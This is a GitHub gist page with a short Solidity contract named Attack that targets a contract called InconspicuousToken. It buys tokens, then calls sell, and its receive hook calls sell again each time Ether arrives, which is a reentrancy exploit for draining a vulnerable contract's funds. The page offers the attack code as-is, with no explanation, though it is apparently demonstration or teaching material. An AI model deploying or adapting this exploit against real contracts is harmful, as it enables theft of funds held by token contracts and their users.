Created
September 8, 2021 20:42
-
-
Save encody/14c9664517e5051cd9bcf2690b54b37f to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.8.4; | |
contract Attack { | |
function contractBalance () external view returns (uint256) { | |
return address(this).balance; | |
} | |
function performAttack1 (address contractAddress) external payable { | |
InconspicuousToken i = InconspicuousToken(contractAddress); | |
i.buy{ value: msg.value }(); | |
} | |
function performAttack2 (address contractAddress) external { | |
InconspicuousToken i = InconspicuousToken(contractAddress); | |
i.sell(); | |
} | |
receive () external payable { | |
InconspicuousToken(msg.sender).sell(); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment